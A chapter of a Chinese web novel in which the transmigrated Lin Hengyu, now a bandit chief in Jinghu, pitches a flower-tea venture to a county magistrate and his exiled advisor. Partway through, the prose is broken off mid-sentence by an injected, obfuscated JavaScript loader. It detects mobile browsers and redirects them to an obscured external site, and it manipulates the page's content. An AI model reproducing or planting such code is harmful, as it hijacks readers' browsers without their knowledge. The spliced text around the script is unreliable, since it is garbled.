“父亲,蘅玉真可信吗?”
甄宝玉面若中秋之月,色如春晓之花,说起话来温柔多情,眼中水波荡漾。他坐在先前林蘅玉坐的位置,一手把玩林蘅玉用过的茶杯。
甄应嘉看他一眼,疑惑道:“你不是很喜欢他吗?怎么问出这样的问题?”
“他毕竟是和忠孝亲王一起来的。”甄宝玉打着扇,“蘅玉长得好看,人也好玩,那手技艺世无其二,父亲难道不喜欢?”
“能赚钱的谁会不喜欢。”甄应嘉别有深意教导道:“看人不能只看表面,你瞧他在扬州和京城中的做派,他哪里是什么正派人物。”
“和我们一样才好呢,这样儿子才放心和他玩。”
甄应嘉又道:“也别太相信他,万事留心。”
甄宝玉笑道:“儿子晓得。”
——
林蘅玉满面沧桑,靠躺在虎皮大椅上进行毫无意义地思考,活着是一种哲学,他将学会与自己和解。
林赭大口吃肉,大口喝酒,适应力极强,和山寨里的悍匪兄弟相称。见林蘅玉半天不吃一口,突然想起自己的本职。
“二当家,饭菜不合你胃口吗?”
“二当家?”林蘅玉一脸失望地挥挥手,无力叹气,“林赭,你变了。”
林赭摸着脑袋嘿嘿直笑,“既来之则安之,这不是大爷说的嘛。”
下边的一个小弟上来敬酒,“二当家,王成哥,你们随意,我先干了!”
说罢满满两杯酒下肚,人也被抬下去了。
林蘅玉摸了把脸,细看有时真的是一种残忍,对自己尤甚。
“你们吃着吧,我先去休息了。”
下方众人齐声喊:“恭送二当家!”
林蘅玉脚下一趔迭,逃荒一样离开现场。
路上遇到水献岄身边的人,林蘅玉停住脚步,“大当家还没回来吗?”
红楼变水浒也不要紧,他还要继续赚钱氪金。
新的产业链建立起来是遥遥无期的,但起码让他迈开步子吧,不然就供不起系统这个吞金兽了。
“二当家好。”赵枝斜点了下头,说话带着浓重的荆湖口音。“大当家还好几日才能回来,山寨中全由二当家做主。”
好嘞,水献岄是回金陵找杜良赋飙戏了看来。
五月他们把杜良赋留在金陵后窜进荆湖打进敌人深处,成了一窝新鲜出炉的土匪。
水献岄一时半会回不来林蘅玉也不欲再等,他根据当初玩游戏的经验分析出荆湖现状,得出结论,荆湖是个干大事的好地方。
所谓干大事的好地方,遍地山林沼泽地,农业不行靠打渔;远离京城人口多,民风剽悍武德旺。
其实说白了就是穷。
荆湖一带到处是土匪窝,活不下去的一大把,拖家带口进了山里基本就不会出来了。
穷也导致当地对中央认可率低。荆湖地形适合打游击,官员想剿匪的殉职率高达百分之八十。
水献岄要做的不是单纯的剿匪,而是让当地百姓有安身立命的选择。
翌日,林蘅玉拉着赵枝斜进城,他要和县太爷谈一笔生意。
林蘅玉化名朱行健,一袭青衫,头戴纶巾,配合着那张格外清俊的脸......说实话,很像是哪家的小公子出来装神算子玩。
赵枝斜很想笑,但他记得林大爷面皮薄 ,所以他侧过头去笑了。
“笑什么呢你?”林蘅玉整张脸都皱起来,周围人的目光让他很不适应,看猴呢这是?
“二当家,”赵枝斜凑到林蘅玉耳边小声道:“您太不像土匪了。”
不怪县太爷和师爷一直在当着他们的面蛐蛐。
林蘅玉面无表情,“那你来当二当家?”
“小的不敢。”赵枝斜连连摆手,毕竟现在山寨的支出都是林蘅玉在负责。
之前的产业不能用来氪金又不代表不能用了,既然系统不认这份钱,林蘅玉也不攒着了,花钱大手大脚的,这让他们山寨过的异常富裕,小弟们都供着他这个财神爷。
“咳咳,朱大爷啊。”县太爷捂着嘴轻咳两声,“瓦岗寨的盛名我们早有耳闻,向往已久啊。”
其实根本不知道是什么时候冒出来的小山寨,毕竟天南县四周土匪寨子太多了。
“你说的生意本官觉着是不错的,只是,你看啊,咱们县太小,是不是可以看看其他地方?”
一句话就是小屁孩滚别处玩去。
林蘅玉头一次被人看得很轻。
被人看轻正常,但看得这么轻也太过分了叭,完全忍不了啊——赵枝斜盯着林蘅玉的动作,生怕他暴动,时刻准备按住他。
“县太爷,您都没听我说呢,怎么就知道我是说了玩了?”林蘅玉用茶盖撇去茶叶,饮了一口,“荆湖一带的茶果真不错,天南县更是其中翘楚。”
县太爷以为他要说出什么高见,见说的竟是茶叶颇觉恼怒。
荆湖一带产茶历史悠久,天下谁人不知谁人不晓?
“县太爷别忙着生气,听我说完。”
此刻,林蘅玉觉得自己是个装货。
“中原饮茶由来已久,茶圣创《茶经》以后更是蔚然成风。荆湖一带得天独厚的自然条件一度让荆湖成为大幽茶叶供应最大的省份。”
“然而,”林蘅玉慢慢喝下一口茶,长长的睫毛垂下,形成一片阴影,“县太爷知道荆湖土匪为什么这么多吗?”
县太爷翻白眼打哈切语气懒洋洋等连招过来:“穷。”
“没错,就是穷!”林蘅玉突然将茶盏放到桌面上,发出“砰”的一声,惊得众人浑身一颤。他猛然起身,声音高亢,语气激昂,“县太爷既为一县父母官,为何不为百姓谋生计?你是不想吗?!”
县太爷被他的目光刺激到,刚要反驳就被林蘅玉下一句话打了回去。
“非尔不愿,是尔不能!”林蘅玉步伐极快,搭配说话的技巧,众人不住被他吸引。“一年中好茶不过几茬,除去当今皇上还有各处官员,各地豪强富商,实则供不应求。不说百姓,县太爷又能喝上几口好茶?”
“再说土地。各方盘剥之下百姓自己的土地一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15848042|175710||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
年食用的粮食尚且不够,还要靠为地主采茶换粮,他们可曾吃到特色产业红利?”
县太爷一怔:“不,不曾。”
“敢问县太爷,你喝过百姓喝的糙茶吗?等最下面的茶叶老后地主会让百姓再采一次,然后折价卖出。这样的茶叶又老又涩,但因为价格便宜在民间很受欢迎。”
县太爷忍不住了,问他:“你到底想说什么?”
林蘅玉复又坐下,嘴边勾起一抹笑,“县太爷听说过花茶吗?”
“花茶?”县太爷摸着下巴,看向身旁的师爷,师爷眯着眼摇摇头。
“荆湖一带不止盛产茶叶,也生产各类花卉。京中每年都会从荆湖一带购入新鲜花卉给贵人赏玩,听闻县太爷也曾上供过一盆百叶牡丹,太上皇十分喜欢。”
县太爷拧眉盯着林蘅玉,仔细打量他。
林蘅玉看向他背后身形瘦长,大约三十多岁的男人。“师爷想必知道的更清楚些?”
鹤庆莲虚弱的笑了笑,朝林蘅玉拱拱手。“在下眼拙,不知大爷是哪方人物。”
林蘅玉摆摆手,“这个不重要,重要的是我能助你们翻案。”
鹤庆莲今年四十有二,生得一张娃娃脸,看上去年轻且没有攻击性。
他是太上皇登基第一年的进士,官至礼部尚书,是第一位为杜良赋发声的人。鹤庆莲为人清廉正直,本就为人所不容,这次更是让人抓住把柄。
贤丰长公主令人弹劾鹤庆莲收受贿赂,纵容科举舞弊。太上皇在其后默认贤丰长公主作为,又为鹤庆莲添上一条——卖官鬻爵。
卖官鬻爵,多么可笑的罪名。
鹤庆莲出身书香世家,世代为官,极其在乎名声。只这一招就将鹤庆莲打的动弹不得。
后来诸多编织罪名整治官员的手段不用多说,只消知道鹤家被流放岭南,此生不得返就是。
县太爷赵德稻是鹤庆莲好友兼妹夫,等鹤家人死的差不多了才找到路子把鹤庆莲偷偷带到荆湖。
这是抗旨的大罪,赵德稻为了不让一家老小受牵连,一直在各种行贿,留在天南县为官。
水献岄选择天南县正是因为这个。
赵德稻是那百分之十中的典藏款,他和周围的土匪寨子关系不错,经常互相演给上边看。
“朱大爷,涉及人命的事我们可不干。”鹤庆莲婉拒了林蘅玉的邀请。
“放心,只是合作生财。我既然敢说,那必然是做得到的,鹤先生可以慢慢观望。”
赵德稻挥挥手,“那还是说回花茶的事吧。”
林蘅玉道:“没毒且美观的花在美容养颜上也是一个不错的选择。”
花茶大约是南宋开始出现,元明清在市场上火热起来,反正在大幽是没有的,不过有人拿来入药。
赵德稻鹤庆莲对视一眼,一点就通。
“你怎么保证别人会相信并接受。”
“这个县太爷和师爷大可放心,我们瓦岗寨还是有些能力的。”
只要花茶在京中流行起来,那全国各处都会推崇并积极购买。